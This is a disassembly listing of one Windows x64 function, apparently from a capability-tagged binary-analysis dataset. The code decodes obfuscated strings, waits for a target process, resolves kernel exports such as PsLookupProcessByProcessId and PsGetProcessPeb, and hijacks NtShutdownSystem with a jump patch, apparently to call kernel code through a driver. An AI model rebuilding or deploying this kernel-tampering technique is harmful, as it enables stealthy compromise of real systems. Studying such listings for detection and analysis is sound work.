Function at 0x1400080d0
Capabilities:
Enumerate processes
Get system information on windows
Link many functions at runtime
Make suspicious ntquerysysteminformation call
Parse pe header
Query environment variable
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1b10
call fcn.1400131e0
sub rsp, rax
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14001a010]
xor rax, rsp
mov qword [rbp + 0x1aa0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb8], xmm0
mov qword [rbp + 0xcc8], rax
lea rcx, [rbp + 0xcb8]
call fcn.1400019a0
nop
movabs rax, 0xa180bb8a407344fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rsi, 0x84df4e91305da810
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs r15, 0xd2f9c8a4251e2197
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x1360]
movdqa xmmword [rbp + 0x110], xmm0
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x350]
call fcn.14000e0d0
nop
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x350]
call fcn.1400022c0
nop
lea rcx, [rbp + 0x350]
call fcn.14000e070
mov rax, qword [rbp + 0xcc0]
cmp rax, qword [rbp + 0xcb8]
jne 0x1400082b9
movabs rax, 0xb38fa6cd05430ccc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xdba93cf51039c17c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x45771933711694a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x7656751b644e49e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
movabs rax, 0x36576b561770e1c1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12f0], rax
movabs rax, 0x7656751b6e2b338a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12f8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x12e0]
lea rcx, [rbp + 0x80]
jmp 0x14000c697
movabs rax, 0xbe9de6d0447b49f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x84df4e91305da87c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x100], xmm0
lea rax, [rbp + 0x100]
mov qword [rbp + 0x28], rax
xor r8d, r8d
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x330]
call fcn.14000fd30
nop
lea rcx, [rbp + 0x330]
call fcn.140002fe0
movzx ebx, al
lea rcx, [rbp + 0x330]
call fcn.140002710
test bl, bl
jne 0x14000840b
movabs rax, 0xb38fa6cd05430ccc
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x80], rax
movabs rax, 0xe5ba26f21039c17c
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x88], rax
movabs rax, 0x365d03227600c1b5
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x90], rax
movabs rcx, 0x7656751b6e2b338a
mov qword [rbp + 0x28], rcx
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x28], r15
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x12e0], rax
mov qword [rbp + 0x28], rsi
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x12e8], rax
movabs rax, 0x36576b561770e1c1
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x12f0], rax
mov qword [rbp + 0x28], rcx
mov rax, qword [rbp + 0x28]
jmp 0x140008296
movabs rax, 0x9c909fec79307dcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0x84df4e91026ee756
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x1340]
movdqa xmmword [rbp + 0xf0], xmm0
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14001af98], rax
cmp rax, 0xffffffffffffffff
je 0x14000c55a
mov ecx, 0x200000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [0x14001afa0], rax
test rax, rax
je 0x14000c55a
mov byte [rbp + 0xc80], r14b
mov qword [rbp + 0x1078], r14
lea rdx, [rbp + 0xc80]
lea rcx, [rbp + 0x1040]
call fcn.14000fd90
nop
mov byte [rbp + 0xc88], r14b
mov qword [rbp + 0x1038], r14
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x1000]
call fcn.14000fda0
nop
lea r8, [rbp + 0x1000]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0xf80]
call fcn.140010550
nop
movabs r13, 0xb78da1ca516c4ed1
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0xd3f23aff5534c453
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0x5f3f387b23468fa8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xe335b7c004243fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x4425f418f8262dee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rdi, 0x8f62a5f520fc46b4
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
movabs r15, 0x36576b561770e1c1
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1490], rax
movabs rsi, 0x7656751b6e2b338a
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1498], rax
movabs r12, 0x4425f418f8262d8b
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
vmovdqu ymm0, ymmword [rbp + 0x1480]
vpxor ymm0, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x220], ymm0
vmovdqa xmm1, xmmword [rbp + 0x240]
vpxor xmm1, xmm1, xmmword [rbp + 0x14a0]
vmovdqa xmmword [rbp + 0x240], xmm1
mov dword [rbp + 0x11b0], 0x130
xor edx, edx
lea ecx, [rdx + 2]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008725
lea rdx, [rbp + 0x11b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rcx, [rbp + 0x11dc]
lea r8, [rbp + 0x220]
sub r8, rcx
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x1400086c5
inc rcx
test eax, eax
jne 0x1400086b2
test edx, edx
je 0x14000871c
lea rdx, [rbp + 0x11b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14000871c
nop dword [rax]
lea rax, [rbp + 0x11dc]
lea r8, [rbp + 0x220]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140008704
inc rax
test ecx, ecx
jne 0x1400086f1
test edx, edx
je 0x14000871c
lea rdx, [rbp + 0x11b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400086e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs r14, 0xd3f23aff5534c453
nop
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rax, 0x5f3f387b23468fa8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rax, 0xe335b7c004243fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x4425f418f8262dee
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1380]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x200]
vpxor xmm0, xmm0, xmmword [rbp + 0x13a0]
vmovdqa xmmword [rbp + 0x200], xmm0
mov dword [rbp + 0x1080], 0x130
xor edx, edx
lea ecx, [rdx + 2]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140008927
lea rdx, [rbp + 0x1080]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rcx, [rbp + 0x10ac]
lea r8, [rbp + 0x1e0]
sub r8, rcx
nop dword [rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x1400088a3
inc rcx
test eax, eax
jne 0x140008890
test edx, edx
je 0x140008915
lea rdx, [rbp + 0x1080]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x1400088fc
nop dword [rax + rax]
lea rax, [rbp + 0x10ac]
lea r8, [rbp + 0x1e0]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400088e4
inc rax
test ecx, ecx
jne 0x1400088d1
test edx, edx
je 0x140008915
lea rdx, [rbp + 0x1080]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400088c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0x1088], 0
jne 0x140008937
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140008730
movabs rax, 0xb58ba9d005430acc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xe1bc21e3407ddc75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0x87a4b327e5092b2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x7656751b644f16aa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs r14, 0xd2f9c8a4251e2197
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rbx, 0x84df4e91305da810
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x140], ymm1
mov edx, dword [rbp + 0x1088]
lea rcx, [rbp + 0x140]
vzeroupper
call fcn.140001260
movabs rax, 0xbe9de6d0447b49f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x84df4e91305da87c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1330], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1338], rax
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call fcn.140008010
mov rcx, rax
mov qword [rbp + 0xc8], rax
movsxd rax, dword [rax + 0x3c]
add rax, rcx
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf30], xmm0
movups xmmword [rbp + 0xf40], xmm0
movups xmmword [rbp + 0xf50], xmm0
movups xmmword [rbp + 0xf60], xmm0
mov qword [rbp + 0xf70], rax
lea rdx, [rbp + 0xcb8]
lea rcx, [rbp + 0x370]
call fcn.14000d130
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140001460
nop
lea rax, [rbp + 0x468]
mov qword [rbp + 0x10], rax
mov byte [rbp + 0xc90], 0
xor r14d, r14d
mov qword [rbp + 0x4a0], r14
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x468]
call fcn.14000fdb0
nop
lea rdx, [rbp + 0x468]
lea rcx, [rbp + 0xf30]
call fcn.1400017c0
lea rcx, [rbp + 0xf30]
call fcn.140001530
mov rax, qword [rbp + 0xf68]
mov edx, dword [rax + 0x50]
xor r9d, r9d
mov r8d, 0x62346c6c
lea rcx, [rbp + 0xf80]
call fcn.1400030d0
mov rbx, rax
mov qword [rbp + 0x10], rax
mov rdx, rax
lea rcx, [rbp + 0xf30]
call fcn.140001640
mov rcx, qword [rbp + 0xf68]
mov r9d, dword [rcx + 0x50]
mov edx, dword [rcx + 0x54]
sub r9, rdx
mov r8, qword [rbp + 0xf48]
add r8, rdx
add rdx, rbx
lea rcx, [rbp + 0xf80]
call fcn.140010d90
mov rax, qword [rbp + 0xf68]
mov r8d, dword [rax + 0x28]
add r8, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc98], xmm0
movups xmmword [rbp + 0xca8], xmm0
mov r9d, dword [rbp + 0x1088]
lea rdx, [rbp + 0xf80]
lea rcx, [rbp + 0xc98]
call fcn.140004030
mov r13d, 4
mov rax, qword gs:[0x58]
add r13, qword [rax]
mov qword [rbp + 0x30], r13
movabs r9, 0x4425f418f8262de7
movabs r8, 0x763a757f6e0533be
movabs rdx, 0x36616b3d171fe1ae
movabs rcx, 0x84974ef5302fa87f
movabs rax, 0xd29ac8d7257721d3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xd2f9c8a4251e2197
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
movabs rax, 0x84df4e91305da810
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x1450], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1458], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
vmovdqu ymm0, ymmword [rbp + 0x1440]
vpxor ymm0, ymm0, ymmword [rbp + 0x2e0]
vmovdqa ymmword [rbp + 0x2e0], ymm0
vmovdqa xmm1, xmmword [rbp + 0x300]
vpxor xmm1, xmm1, xmmword [rbp + 0x1460]
vmovdqa xmmword [rbp + 0x300], xmm1
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x18], rdi
mov esi, dword [rbp + 0xca0]
mov dword [rbp + 0x38], esi
mov eax, dword [r13]
cmp dword [0x14001af90], eax
jle 0x140008fd2
lea rcx, [0x14001af90]
vzeroupper
call fcn.140012308
cmp dword [0x14001af90], 0xffffffff
jne 0x140008fd2
mov r13, r14
mov dword [rbp + 0x524], r14d
lea r9, [rbp + 0x524]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140008dcf
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x524]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x524]
mov r8d, dword [rbp + 0x524]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140008d80
test eax, eax
js 0x140008fa0
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x140008fa0
nop dword [rax + rax]
mov qword [rbp + 0x40], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx edx, word [rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, r13
lea rcx, [rbp + 0xe10]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xe10]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140008f82
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xd70]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x428]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xd70]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xd70]
call fcn.14000e700
nop
lea rcx, [rbp + 0x428]
call fcn.14000e070
lea rcx, [rbp + 0xd70]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140009b61
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140009b61
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x140009b61
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp + 0x48], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x140008f75
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.PsLookupProcessByProcessId
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140009b15
inc edi
inc rbx
cmp edi, r15d
jb 0x140008f50
lea rcx, [rbp + 0xd70]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe10]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x140008df0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001afb0], rbx
lea rcx, [0x14001af90]
call fcn.1400122a8
mov rdi, qword [rbp + 0x18]
mov esi, dword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov qword [rbp + 0x558], r14
mov rbx, qword [0x14001afb0]
mov eax, dword [r13]
cmp dword [0x14001b018], eax
jle 0x140009034
lea rcx, [0x14001b018]
vzeroupper
call fcn.140012308
cmp dword [0x14001b018], 0xffffffff
jne 0x140009034
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001ada0], rax
lea rcx, [0x14001b018]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001afa8], eax
jle 0x14000907c
lea rcx, [0x14001afa8]
vzeroupper
call fcn.140012308
cmp dword [0x14001afa8], 0xffffffff
jne 0x14000907c
lea rcx, [0x14001ae50]
call fcn.140002270
lea rcx, [0x140013f00]
call fcn.140012650
lea rcx, [0x14001afa8]
call fcn.1400122a8
lea rcx, [0x14001ae50]
vzeroupper
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c551
mov dword [rbp + 0x1600], 0x25ff
mov word [rbp + 0x1604], ax
mov qword [rbp + 0x1606], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1690]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1600]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov ecx, esi
lea rdx, [rbp + 0x558]
call qword [0x14001ada0]
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1690]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001ae50]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rsi, qword [rbp + 0x558]
mov qword [rbp + 0x38], rsi
mov rdi, qword [rbp + 0xcb0]
mov qword [rbp + 0x40], rdi
mov eax, dword [r13]
cmp dword [0x14001aea0], eax
jle 0x1400093d3
lea rcx, [0x14001aea0]
call fcn.140012308
cmp dword [0x14001aea0], 0xffffffff
jne 0x1400093d3
mov r13, r14
mov dword [rbp + 0x520], r14d
lea r9, [rbp + 0x520]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400091d0
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x520]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
lea r9, [rbp + 0x520]
mov r8d, dword [rbp + 0x520]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140009181
test eax, eax
js 0x1400093a0
mov eax, r14d
mov dword [rbp + 0x20], eax
cmp dword [r13], 0
jbe 0x1400093a0
nop dword [rax]
mov qword [rbp + 0x48], rax
imul rcx, rax, 0x128
lea rbx, [rcx + r13]
movzx edx, word [rbx + 0x2e]
add rcx, 0x30
add rdx, rcx
add rdx, r13
lea rcx, [rbp + 0xe30]
call fcn.14000e0d0
nop
lea rcx, [rbp + 0xe30]
call fcn.14000ea90
lea rdx, str.ntoskrnl.exe
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140009382
lea rdx, [rbx + 0x30]
lea rcx, [rbp + 0xd50]
call fcn.14000e0d0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0x408]
call fcn.14000e0d0
nop
mov r8d, 1
lea rdx, [0x14001499c]
mov rcx, rax
call fcn.14000ea10
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp + 0xd50]
call fcn.14000de80
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.14000ea90
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, 0xc
mov rdx, rsi
lea rcx, [rbp + 0xd50]
call fcn.14000e700
nop
lea rcx, [rbp + 0x408]
call fcn.14000e070
lea rcx, [rbp + 0xd50]
call fcn.14000ea90
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x140009bcb
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140009bcb
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x140009bcb
mov eax, ecx
mov r15d, dword [rcx + rsi + 0x1c]
lea rcx, [rsi + r15]
mov qword [rbp], rcx
mov r12d, dword [rax + rsi + 0x20]
add r12, rsi
mov eax, dword [rax + rsi + 0x24]
add rax, rsi
mov qword [rbp + 0x18], rax
mov edi, r14d
mov rbx, r14
test r15d, r15d
je 0x140009375
nop dword [rax]
mov edx, dword [r12 + rbx*4]
add rdx, rsi
lea rcx, str.PsGetProcessPeb
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140009b7f
inc edi
inc rbx
cmp edi, r15d
jb 0x140009350
lea rcx, [rbp + 0xd50]
call fcn.14000e070
nop
lea rcx, [rbp + 0xe30]
call fcn.14000e070
mov eax, dword [rbp + 0x20]
inc eax
mov dword [rbp + 0x20], eax
cmp eax, dword [r13]
jb 0x1400091f0
mov r8d, 0x8000
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
mov qword [0x14001ae48], rbx
lea rcx, [0x14001aea0]
call fcn.1400122a8
mov rdi, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x38]
mov r13, qword [rbp + 0x30]
mov rbx, qword [0x14001ae48]
mov eax, dword [r13]
cmp dword [0x14001b014], eax
jle 0x14000942b
lea rcx, [0x14001b014]
call fcn.140012308
cmp dword [0x14001b014], 0xffffffff
jne 0x14000942b
lea rcx, [0x1400149e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14001af88], rax
lea rcx, [0x14001b014]
call fcn.1400122a8
mov eax, dword [r13]
cmp dword [0x14001adc0], eax
jle 0x140009470
lea rcx, [0x14001adc0]
call fcn.140012308
cmp dword [0x14001adc0], 0xffffffff
jne 0x140009470
lea rcx, [0x14001af20]
call fcn.140002270
lea rcx, [0x140013ef0]
call fcn.140012650
lea rcx, [0x14001adc0]
call fcn.1400122a8
lea rcx, [0x14001af20]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
jne 0x14000c548
mov dword [rbp + 0x15c0], 0x25ff
mov word [rbp + 0x15c4], ax
mov qword [rbp + 0x15c6], rbx
mov rdx, qword [0x14001ae20]
lea r9d, [rax + 0xe]
lea r8, [rbp + 0x1610]
mov rcx, rdi
call fcn.14000d0d0
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x15c0]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
mov rax, qword [0x14001af88]
mov rcx, rsi
call rax
mov rbx, rax
mov rdx, qword [0x14001ae20]
mov r9d, 0xe
lea r8, [rbp + 0x1610]
lea rcx, [rdi + 0x40]
call fcn.14000d0d0
lea rcx, [0x14001af20]
